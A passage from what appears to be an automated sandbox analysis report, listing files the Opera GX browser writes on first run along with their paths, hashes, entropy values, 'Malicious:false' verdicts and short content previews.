                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):289
                                                                                                                                                                                                              Entropy (8bit):5.249074105727419
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7E1D76216376A44BD0447EE7EB58C7ED
                                                                                                                                                                                                              SHA1:FFE8C905C7E64883D7E36EDC03D67B28702C6718
                                                                                                                                                                                                              SHA-256:D0C7576BAE495D64EFE5FFD3BDAE4DED7E550CA895F8974C83D8C2D279FC3234
                                                                                                                                                                                                              SHA-512:327E12F1A4D9768C77077EAC92E7586298DCCC72106D571EE90B9D593850783E243FC8A3847927C1285E210EB0EDE12723792FFD2CE94ACA7003D38E6763BC81
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:15.629 1440 Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db since it was missing..2024/10/13-04:34:15.666 1440 Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata\000001.dbtmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata\000003.log

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):300
                                                                                                                                                                                                              Entropy (8bit):3.7941969320040587
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:74FB955BC22BAF6536DAEEADDE7433B5
                                                                                                                                                                                                              SHA1:75BE7CF602DC02136D2B22146CA6CF003547E8C1
                                                                                                                                                                                                              SHA-256:58980DACC1A38865A8F3E204810E269A76E27D34C3148E2BDB09C3CF2FD3CA46
                                                                                                                                                                                                              SHA-512:A1D9CADC8322AAE9BDFCD9EA3438F0D5ADCEA33453BD785925E783AF7C3FF468EE6F807B803183FB3A4B6CDC0380CD35C4F101D6960EA8BC53BC629C8F7738DA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.h.6.................__global... .t...................__global... ...w.................44_..........................44_........v.................21_.....vuNX.................21_.......T=.................19_.....*...................18_......@C1.................19_......8lS.................18_.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata\CURRENT (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):16
                                                                                                                                                                                                              Entropy (8bit):3.2743974703476995
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                                                              SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                                                              SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                                                              SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata\LOG

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):307
                                                                                                                                                                                                              Entropy (8bit):5.16952292654813
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:91B71929CD61E7EFD4911D59C1F51457
                                                                                                                                                                                                              SHA1:9F36D2C1434191427161686108B198228A9C937E
                                                                                                                                                                                                              SHA-256:AAA4589CB940D3B1813E4A3DE25253757852F89CD8D6A61BAEB3D36AA7B675B3
                                                                                                                                                                                                              SHA-512:CEBD5D6E5CBC391E47AAAE9C6A55137DB3457FF0DFA42415D40AFFED9441FE42E60F40D462D0D3CAAC870EE9E44348D1A0EB6AD0F149BDCB6B4ADBE26BDB249D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:2024/10/13-04:34:15.313 1440 Creating DB C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata since it was missing..2024/10/13-04:34:15.604 1440 Reusing MANIFEST C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata/MANIFEST-000001.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\shared_proto_db\metadata\MANIFEST-000001

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:OpenPGP Secret Key
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):41
                                                                                                                                                                                                              Entropy (8bit):4.704993772857998
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                                                              SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                                                              SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                                                              SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.|.."....leveldb.BytewiseComparator......

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\siteprefs.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):18005
                                                                                                                                                                                                              Entropy (8bit):7.988959164278047
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D7F3EF4F92FCA91C430BCF940038CA05
                                                                                                                                                                                                              SHA1:DC7AE93D360E0940DA2D0D810449B3617F8C80A5
                                                                                                                                                                                                              SHA-256:9071F1778D57009E2AD23AC7A475FCE51EC6829B4FDBD7A61BD4321146D08EDD
                                                                                                                                                                                                              SHA-512:E482A2050C38AAD5F2CC86F32AFED13B607AB8A3B6D70E614113C882C1AC68920035B3169C7AED9731A0BB0E48F85D03E52654ACF4AF0D8A298069EEFFADCEE5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:*SPO*zE....:9S....%..Z.6...b0..Z.W....>..A{..g..s..-.....m...zU...'.$Nu....G.(9p.."...O..D.....Fw.#..QR.K3Z.=XRse....U....#...7Tv...a..H....x......G..4<O^*BV...4.8....w...C....X..BD8..$o.?.g.P..p9...'3%GS~..C..7..%...~..(e.....U...>=%(...MgR...I.R.U.`.l7...,.f...V......_.|.<?...h.........[..OFkT..N.6.a.....S...(.A..`..V.O.HMV..:KTD.DSru..'.7.,....3..X|.>M.IP...s.j)F.....a.4S.......K..Q.....el"b.......pz...c.T.\.y....e..YK6.sT(`.qE....I.....m...Cp.9.rW(.I8..H....H........(...C....W._..x..U,).j...>.............(.....>u..I..?........<...)C..."..S-]..Y...'...%.....y....a.bI.|..zb.Kk2A.2..)...@...X.Z..7........P.Cb..rt..n...]..h.....E.]..B.....z..z.8.I..l|.p......!..<...).'.n|...AR.D...C...B.'*O.c.d....7P.K%y:s....O.@G.o..9...W.....'....c..F[.\.a.j(/..}.......p.Qf(...Xp.}..?.\..:.Z/3.7........@.8.....,".7.J.|<x..!.B.&....Md.Y..a..p..Q..y...ul..7...C.H;M..G.>K#..v......(.[.B.<Z....`.6Y.I..w.&..!...Y........D.r.S..aM.'}Z..%..M.=.'l.g......#.....W.^..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043 (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d7882.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d78a2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d78e0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d78f0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d791f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d792e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d793e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d794e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d795d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d796d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
                                                                                                                                                                                                              Entropy (8bit):5.367936452364315
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F6FE1FAC833BBCA5281C4E67E39A7A60
                                                                                                                                                                                                              SHA1:1709B67771CA9D27C4CDBCE8C73368FFEC16D20A
                                                                                                                                                                                                              SHA-256:5C0C543B859A8B56CF27254F6786C10C5C2441FA468A1445627DAA7281C447E6
                                                                                                                                                                                                              SHA-512:5D6A81A8A81A44826FC62D670B495BA2E583830362D5726F1D5B0C273A02376F0606F51EEEBE8929A405776399FF305887790C9E142DEBE38A986389DBBE2887
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// MhHhdRsYa7w2u+0OMam1ozAwRk/gU0P6FivHICdX2xo=.{"InstallType":"Normal","OSPMessageUUID":"812bd06d-b376-4aa4-92bf-99afa98f7a1f","RunType":"FirstRun","UI":{"BookmarkBar":{"PartnerCount":0,"TotalCount":0},"Usage":{"WarnOnClosingMultipleTabs":true}},"UUID":"Missing","Updater":{"Diagnostics":{"Common":{"UpdateRequestsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.0.392355043~RF3d797c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):327
